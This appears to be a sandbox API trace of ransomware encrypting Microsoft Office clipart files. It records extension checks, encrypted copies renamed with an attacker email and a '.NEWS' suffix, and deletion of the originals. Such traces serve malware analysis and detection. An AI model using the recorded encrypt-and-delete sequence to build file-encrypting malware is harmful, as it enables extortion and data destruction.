[0078.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0078.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.713] lstrlenW (lpString=".doc") returned 4 [0078.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.713] lstrlenW (lpString=".docx") returned 5 [0078.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.713] lstrlenW (lpString=".pdf") returned 4 [0078.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.713] lstrlenW (lpString=".xls") returned 4 [0078.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.713] lstrlenW (lpString=".xlsx") returned 5 [0078.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.713] lstrlenW (lpString=".ppt") returned 4 [0078.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.713] lstrlenW (lpString=".zip") returned 4 [0078.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.713] lstrlenW (lpString=".rar") returned 4 [0078.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.713] lstrlenW (lpString=".bz2") returned 4 [0078.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.713] lstrlenW (lpString=".7z") returned 3 [0078.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.713] lstrlenW (lpString=".dbf") returned 4 [0078.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".1cd") returned 4 [0078.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".jpg") returned 4 [0078.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".doc") returned 4 [0078.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString=".docx") returned 5 [0078.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.714] lstrlenW (lpString=".pdf") returned 4 [0078.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString=".xls") returned 4 [0078.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.714] lstrlenW (lpString=".xlsx") returned 5 [0078.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.714] lstrlenW (lpString=".ppt") returned 4 [0078.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".zip") returned 4 [0078.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.714] lstrlenW (lpString=".rar") returned 4 [0078.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString=".bz2") returned 4 [0078.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString=".7z") returned 3 [0078.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".dbf") returned 4 [0078.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".1cd") returned 4 [0078.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0078.714] lstrlenW (lpString=".jpg") returned 4 [0078.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.715] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.715] lstrlenW (lpString="BD19695_.WMF") returned 12 [0078.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.715] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=12982) returned 1 [0078.715] CloseHandle (hObject=0x358) returned 1 [0078.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0078.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.715] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.716] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0078.716] GetLastError () returned 0x0 [0078.716] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x32b6, lpOverlapped=0x0) returned 1 [0078.718] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x32c0, lpOverlapped=0x0) returned 1 [0078.719] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.719] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.719] SetEndOfFile (hFile=0x330) returned 1 [0078.719] CloseHandle (hObject=0x330) returned 1 [0078.720] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.720] SetEndOfFile (hFile=0x358) returned 1 [0078.721] CloseHandle (hObject=0x358) returned 1 [0078.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0078.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.722] lstrlenW (lpString=".doc") returned 4 [0078.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString=".docx") returned 5 [0078.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.722] lstrlenW (lpString=".pdf") returned 4 [0078.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString=".xls") returned 4 [0078.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.722] lstrlenW (lpString=".xlsx") returned 5 [0078.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.722] lstrlenW (lpString=".ppt") returned 4 [0078.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.722] lstrlenW (lpString=".zip") returned 4 [0078.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.722] lstrlenW (lpString=".rar") returned 4 [0078.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString=".bz2") returned 4 [0078.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString=".7z") returned 3 [0078.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.722] lstrlenW (lpString=".dbf") returned 4 [0078.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.722] lstrlenW (lpString=".1cd") returned 4 [0078.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString=".jpg") returned 4 [0078.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString=".doc") returned 4 [0078.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString=".docx") returned 5 [0078.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.723] lstrlenW (lpString=".pdf") returned 4 [0078.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString=".xls") returned 4 [0078.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.723] lstrlenW (lpString=".xlsx") returned 5 [0078.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.723] lstrlenW (lpString=".ppt") returned 4 [0078.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString=".zip") returned 4 [0078.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.723] lstrlenW (lpString=".rar") returned 4 [0078.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString=".bz2") returned 4 [0078.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString=".7z") returned 3 [0078.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString=".dbf") returned 4 [0078.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString=".1cd") returned 4 [0078.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0078.723] lstrlenW (lpString=".jpg") returned 4 [0078.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.724] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.724] lstrlenW (lpString="BD19827_.WMF") returned 12 [0078.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.724] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=9710) returned 1 [0078.724] CloseHandle (hObject=0x358) returned 1 [0078.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0078.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.724] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.724] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0078.725] GetLastError () returned 0x0 [0078.725] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x25ee, lpOverlapped=0x0) returned 1 [0078.726] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x25f0, lpOverlapped=0x0) returned 1 [0078.727] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.727] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.727] SetEndOfFile (hFile=0x330) returned 1 [0078.728] CloseHandle (hObject=0x330) returned 1 [0078.728] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.729] SetEndOfFile (hFile=0x358) returned 1 [0078.730] CloseHandle (hObject=0x358) returned 1 [0078.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0078.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.730] lstrlenW (lpString=".doc") returned 4 [0078.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.730] lstrlenW (lpString=".docx") returned 5 [0078.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.730] lstrlenW (lpString=".pdf") returned 4 [0078.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.730] lstrlenW (lpString=".xls") returned 4 [0078.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.731] lstrlenW (lpString=".xlsx") returned 5 [0078.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.731] lstrlenW (lpString=".ppt") returned 4 [0078.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.731] lstrlenW (lpString=".zip") returned 4 [0078.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.731] lstrlenW (lpString=".rar") returned 4 [0078.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString=".bz2") returned 4 [0078.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString=".7z") returned 3 [0078.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.731] lstrlenW (lpString=".dbf") returned 4 [0078.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.731] lstrlenW (lpString=".1cd") returned 4 [0078.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.731] lstrlenW (lpString=".jpg") returned 4 [0078.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.731] lstrlenW (lpString=".doc") returned 4 [0078.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString=".docx") returned 5 [0078.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.731] lstrlenW (lpString=".pdf") returned 4 [0078.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.731] lstrlenW (lpString=".xls") returned 4 [0078.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.731] lstrlenW (lpString=".xlsx") returned 5 [0078.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.731] lstrlenW (lpString=".ppt") returned 4 [0078.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.732] lstrlenW (lpString=".zip") returned 4 [0078.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.732] lstrlenW (lpString=".rar") returned 4 [0078.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.732] lstrlenW (lpString=".bz2") returned 4 [0078.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.732] lstrlenW (lpString=".7z") returned 3 [0078.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.732] lstrlenW (lpString=".dbf") returned 4 [0078.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.732] lstrlenW (lpString=".1cd") returned 4 [0078.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0078.732] lstrlenW (lpString=".jpg") returned 4 [0078.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.732] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.732] lstrlenW (lpString="BD19828_.WMF") returned 12 [0078.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.733] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8772) returned 1 [0078.733] CloseHandle (hObject=0x358) returned 1 [0078.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0078.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.733] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.733] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0078.734] GetLastError () returned 0x0 [0078.734] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2244, lpOverlapped=0x0) returned 1 [0078.735] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2250, lpOverlapped=0x0) returned 1 [0078.736] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.736] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.737] SetEndOfFile (hFile=0x330) returned 1 [0078.737] CloseHandle (hObject=0x330) returned 1 [0078.738] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.738] SetEndOfFile (hFile=0x358) returned 1 [0078.739] CloseHandle (hObject=0x358) returned 1 [0078.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0078.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 